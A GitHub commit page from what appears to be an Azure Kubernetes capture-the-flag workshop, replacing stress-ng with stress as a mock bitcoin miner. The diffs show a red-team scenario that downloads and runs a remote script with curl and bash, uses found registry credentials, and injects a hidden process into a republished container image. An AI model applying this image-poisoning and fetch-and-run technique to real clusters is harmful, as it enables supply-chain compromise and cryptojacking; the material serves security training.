Skip to content

Commit

Permalink
Merge pull request #19 from Azure/rm-moneymoneymoney-binary
Browse files Browse the repository at this point in the history
update to use stress instead of stress-ng
  • Loading branch information
lastcoolnameleft authored Jan 2, 2025
2 parents c9e0395 + 6e1af68 commit 9fd2620
Show file tree
Hide file tree
Showing 3 changed files with 8 additions and 8 deletions.
2 changes: 1 addition & 1 deletion NOTICE.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ This repository incorporates material as listed below or described in the code.

---

## Component: https://github.com/ColinIanKing/stress-ng
## Component: https://linux.die.net/man/1/stress

### License
```
Expand Down
6 changes: 3 additions & 3 deletions docs/scenario_3_attack.md
Original file line number Diff line number Diff line change
Expand Up @@ -35,13 +35,13 @@ Some of the other red-team members have found this [neat trick from Twitter](htt

Good luck! They've come up with two scripts:

* [run-bitcoin-injector.sh](https://github.com/azure/aks-ctf/blob/main/workshop/bitcoin-injector/run-bitcoin-injector.sh) - deploy a [Kubernetes Job](https://kubernetes.io/docs/concepts/workloads/controllers/job/) that uses the registry credentials we found, to create another pod that injects our bitcoin miner into the container
* [inject-image.sh](https://github.com/azure/aks-ctf/blob/main/workshop/bitcoin-injector/inject-image.sh) - Uses Buildah to pulls the current app image, injects the bitcoin miner into the image, re-publishes the image under the same name
* [run-bitcoin-injector.sh](https://github.com/azure/aks-ctf/blob/main/workshop/scenario_3/run-bitcoin-injector.sh) - deploy a [Kubernetes Job](https://kubernetes.io/docs/concepts/workloads/controllers/job/) that uses the registry credentials we found, to create another pod that injects our bitcoin miner into the container
* [inject-image.sh](https://github.com/azure/aks-ctf/blob/main/workshop/scenario_3/inject-image.sh) - Uses Buildah to pulls the current app image, injects the bitcoin miner into the image, re-publishes the image under the same name

Let's go back to our admin panel and run the following:

```console
curl -O -J https://raw.githubusercontent.com/azure/aks-ctf/refs/heads/main/workshop/bitcoin-injector/run-bitcoin-injector.sh; bash run-bitcoin-injector.sh
curl -O -J https://raw.githubusercontent.com/azure/aks-ctf/refs/heads/main/workshop/scenario_3/run-bitcoin-injector.sh; bash run-bitcoin-injector.sh
```

Everything has been installed. Let's kill our process and let the new image come up
Expand Down
8 changes: 4 additions & 4 deletions workshop/scenario_3/inject-image.sh
Original file line number Diff line number Diff line change
Expand Up @@ -31,14 +31,14 @@ buildah pull $IMAGE
IMAGE_CMD=$(buildah inspect $IMAGE | jq '.Docker.config.Cmd | join(" ")' -r)
echo $IMAGE_CMD

# Shhh...don't tell anyone, but our bitcoin miner is actually stress-ng
# Shhh...don't tell anyone, but our bitcoin miner is actually stress
apt-get update
apt-get install -y stress-ng
cp /usr/bin/stress-ng /tmp/moneymoneymoney
apt-get install -y stress
cp /usr/bin/stress /tmp/moneymoneymoney

cat > /tmp/startup.sh << EOF
echo "Starting up the app. Totally nothing else!"
/moneymoneymoney -c 1 -d 10 -k &
/moneymoneymoney --cpu 1 &
$IMAGE_CMD
EOF

Expand Down

0 comments on commit 9fd2620

Please sign in to comment.